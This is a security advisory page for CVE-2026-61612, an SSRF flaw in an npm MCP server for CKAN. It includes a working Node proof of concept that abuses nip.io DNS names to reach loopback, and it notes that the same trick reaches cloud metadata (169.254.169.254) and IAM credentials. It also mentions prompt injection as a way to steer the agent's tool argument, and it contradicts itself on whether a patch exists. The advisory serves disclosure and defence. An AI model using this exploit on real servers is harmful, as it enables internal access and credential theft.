CVE-2026-61612

CVE-2026-61612 is a medium-severity server-side request forgery (SSRF) vulnerability in @aborruso/ckan-mcp-server (npm), affecting versions <= 0.4.107. It is fixed in 0.4.108.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP, incomplete fix of CVE-2026-53509

The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied server_url whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS, strictly more than CVE-2026-53509, which only reached loopback.

Affected / patched

  • @aborruso/ckan-mcp-server (npm), all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.

Severity

It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).

Root cause, src/utils/http.ts, validateServerUrl

The guard blocks IP literals and three loopback alias strings, but does no name resolution:

const hostname = parsed.hostname.toLowerCase();
if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw;   // string denylist
if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { /* block private/special IPv4 LITERALS */ }
// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed

Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap, the actual root cause, remains. server_url is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparql_query). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.

Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass, Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.

Proof of concept

Drives the published server over the MCP protocol via the public ckan_package_search tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.

npm install @aborruso/[email protected] @modelcontextprotocol/sdk
node poc.mjs
import http from 'node:http';
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';
const internal = http.createServer((_req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ Token: SECRET }));                 // stand-in for an IMDS / internal response
});
await new Promise(r => internal.listen(0, '127.0.0.1', r));
const port = internal.address().port;

const client = new Client({ name: "ssrf-poc", version: "1.0.0" });
await client.connect(new StdioClientTransport({
  command: "node", args: ["node_modules/@aborruso/ckan-mcp-server/dist/index.js"]
}));

// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io"
// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.
// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.
const evil = `http://127.0.0.1.nip.io:${port}/`;
const res = await client.callTool({ name: "ckan_package_search", arguments: { server_url: evil, q: "x" } });

const text = res.content?.[0]?.text || JSON.stringify(res);
console.log("SSRF:", text.includes(SECRET) ? "YES, internal server reached, body returned to caller" : "no");
console.log(text.slice(0, 220));
await client.close(); internal.close();

Output:

SSRF: YES, internal server reached, body returned to caller
CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"}

A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.

Impact

Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-61612 has a CVSS score of 5.7 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.108); upgrading removes the vulnerable code path.

Affected versions

@aborruso/ckan-mcp-server (<= 0.4.107)

Security releases

@aborruso/ckan-mcp-server → 0.4.108 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address, or require the existing CKAN_ALLOWED_DOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.

Frequently Asked Questions

  1. What is CVE-2026-61612? CVE-2026-61612 is a medium-severity server-side request forgery (SSRF) vulnerability in @aborruso/ckan-mcp-server (npm), affecting versions <= 0.4.107. It is fixed in 0.4.108. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
  2. How severe is CVE-2026-61612? CVE-2026-61612 has a CVSS score of 5.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @aborruso/ckan-mcp-server are affected by CVE-2026-61612? @aborruso/ckan-mcp-server (npm) versions <= 0.4.107 is affected.
  4. Is there a fix for CVE-2026-61612? Yes. CVE-2026-61612 is fixed in 0.4.108. Upgrade to this version or later.
  5. Is CVE-2026-61612 exploitable, and should I be worried? Whether CVE-2026-61612 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-61612 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-61612? Upgrade @aborruso/ckan-mcp-server to 0.4.108 or later.

Other vulnerabilities in @aborruso/ckan-mcp-server

Stop the waste.
Protect your environment with Kodem.